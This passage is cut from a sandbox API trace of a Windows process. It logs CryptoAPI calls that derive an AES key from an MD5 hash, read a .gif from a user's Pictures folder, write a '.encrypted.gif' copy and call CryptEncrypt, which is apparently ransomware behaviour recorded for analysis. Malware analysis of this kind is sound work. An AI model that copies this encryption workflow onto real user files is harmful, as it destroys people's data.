wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.554] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.554] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.554] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.554] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.554] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0028.554] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.554] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f4199930) returned 1 [0028.554] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.554] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.554] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0028.555] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.555] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.555] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.555] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.555] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.555] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0028.555] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.555] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.555] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.555] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.555] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.555] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.555] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0028.555] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.555] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.555] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0028.555] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.555] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.555] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0028.555] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.555] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.555] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0028.555] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.555] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.555] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.555] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.555] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.555] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.555] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.556] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0028.556] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.556] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.556] CryptCreateHash (in: hProv=0xe8f4199930, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0028.556] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.556] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.556] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.556] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.556] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0028.556] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.556] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.556] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.556] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.556] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.556] CryptHashData (hHash=0xe8f4062330, pbData=0xe8f418b270, dwDataLen=0x20, dwFlags=0x1) returned 1 [0028.556] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.556] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.556] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.556] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.556] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.556] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0028.556] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.556] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.556] CryptDeriveKey (in: hProv=0xe8f4199930, Algid=0x660e, hBaseData=0xe8f4062330, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f40623a0) returned 1 [0028.556] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.556] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.556] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.556] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.556] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.557] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.557] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0028.557] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.557] CryptDestroyHash (hHash=0xe8f4062330) returned 1 [0028.557] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.558] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.558] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.558] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.558] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.558] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\WTPvK7Ks\\9XwefqXl.gif" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\ra1rifpb2\\vexyoj31q5uyzq\\wtpvk7ks\\9xwefqxl.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0028.558] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0028.558] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0028.558] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.559] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.559] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.559] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\WTPvK7Ks\\" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\ra1rifpb2\\vexyoj31q5uyzq\\wtpvk7ks")) returned 0x10 [0028.559] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\WTPvK7Ks\\9XwefqXl.encrypted.gif" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\ra1rifpb2\\vexyoj31q5uyzq\\wtpvk7ks\\9xwefqxl.encrypted.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0028.559] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.559] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.559] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.559] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.561] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0028.561] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0028.562] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x1948, lpOverlapped=0x0) returned 1 [0028.562] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0028.565] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.565] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.565] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.565] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0028.565] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.566] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.566] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0028.566] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.566] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0028.566] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.566] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.566] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.566] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0028.567] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.567] CryptGetKeyParam (in: hKey=0xe8f40623a0, dwParam=0x7, pbData=0xe8f4064cf0, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064cf0*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0028.567] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.567] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.567] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.567] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.567] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.567] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.567] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.567] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.567] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0028.567] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.567] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.567] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0028.567] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.567] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.567] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0028.567] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.568] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.568] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.568] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.568] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.568] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.568] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.568] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.568] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.568] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.568] CryptEncrypt (in: hKey=0xe8f40623a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x11948, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x11950) returned 1 [0028.568] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.568] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.568] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.569] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.569] CharLowerBuffW (in: lpsz="byte[72017]", cchLength=0xb | out: lpsz="byte[72017]") returned 0xb [0028.569] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.571] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.571] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.571] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.571] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.571] CryptEncrypt (in: hKey=0xe8f40623a0, hHash=0x0, Final=1, 